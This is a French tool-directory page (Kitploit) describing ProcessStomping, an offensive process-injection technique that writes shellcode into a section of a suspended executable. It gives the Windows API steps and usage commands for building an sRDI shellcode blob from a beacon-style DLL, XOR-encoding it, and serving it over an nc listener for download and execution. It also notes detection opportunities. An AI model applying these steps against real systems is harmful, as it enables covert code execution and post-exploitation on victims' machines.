Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
ProcessStomping — Une variante de ProcessOverwriting pour exécuter du shellcode sur une section d'un exécutable. | Kitploit
Outils/GitHubGitHub/naksyn/processstomping
ShellcodePost-ExploitationApprentissage et ÉducationRed TeamingDéveloppement de Charges UtilesExploitation de Binaires
GitHubnaksyn/processstomping

ProcessStomping

Une variante de ProcessOverwriting pour exécuter du shellcode sur une section d'un exécutable.

Voir le dépôt
147274il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

ProcessStomping

Une variante du ProcessOverwriting pour exécuter un shellcode sur une section d'un exécutable

Twitter

De quoi s'agit-il

Pour une explication plus détaillée, vous pouvez lire mon article de blog

Process Stomping est une variante du Process Overwriting de hasherezade et présente l'avantage d'écrire une charge utile de shellcode sur une section ciblée au lieu d'écrire une charge utile PE entière sur l'espace d'adressage du processus hôte.

Voici les principales étapes de la technique ProcessStomping :

  1. CreateProcess - définition du drapeau de création de processus à CREATE_SUSPENDED (0x00000004) afin de suspendre le thread principal du processus.
  2. WriteProcessMemory - utilisé pour écrire chaque shellcode malveillant dans la section du processus cible.
  3. SetThreadContext - utilisé pour pointer le point d'entrée vers une nouvelle section de code qui a été écrite.
  4. ResumeThread - explicite.

À titre d'exemple d'application de la technique, le PoC peut être utilisé avec sRDI pour charger une dll de beacon sur une section RWX d'un exécutable. L'image suivante décrit les étapes impliquées.

immagine

Avertissement

Toutes les informations et contenus sont fournis à des fins éducatives uniquement. Suivez les instructions à vos propres risques. Ni l'auteur ni son employeur ne sont responsables des dommages directs ou indirects ou des pertes pouvant découler de toute personne ou organisation.

Crédits

Ce travail a été rendu possible grâce aux connaissances et aux outils partagés par Aleksandra Doniec @hasherezade et Nick Landers.

Utilisation

Sélectionnez votre processus cible et modifiez les variables globales en conséquence dans ProcessStomping.cpp.

Compilez le projet sRDI en vous assurant que le décalage (offset) est suffisant pour sauter par-dessus votre blob de shellcode sRDI généré, puis mettez à jour les outils sRDI :

cd \sRDI-master

python .\lib\Python\EncodeBlobs.py .\

Générez une charge utile de dll sans chargeur réfléchissant (Reflective-Loaderless) de votre choix, puis générez le blob de shellcode sRDI :

python .\lib\Python\ConvertToShellcode.py -b -f "changethedefault" .\noRLx86.dll

Le blob de shellcode peut ensuite être xoré avec un mot-clé et téléchargé à l'aide d'un socket simple

python xor.py noRLx86.bin noRLx86_enc.bin Bangarang

Livrez le blob xoré lors de la connexion

nc -vv -l -k -p 8000 -w 30 < noRLx86_enc.bin

Le blob sRDI sera effacé après exécution pour supprimer les artefacts inutiles.

Démo

https://github.com/naksyn/ProcessStomping/assets/59816245/8d9e1ac2-b47c-41d5-9f0e-1b3fee14ba50

Mises en garde

Pour exécuter cette technique avec succès, vous devez sélectionner le bon processus cible et utiliser une charge utile de dll qui ne contient pas de chargeur réfléchissant défini par l'utilisateur.

Opportunités de détection

La technique Process Stomping nécessite de démarrer le processus cible dans un état suspendu, de modifier le point d'entrée du thread, puis de reprendre le thread pour exécuter le shellcode injecté. Ce sont des opérations qui pourraient être considérées comme suspectes si elles sont effectuées rapidement et pourraient entraîner une surveillance accrue par certaines solutions de sécurité.

Télécharger l’outil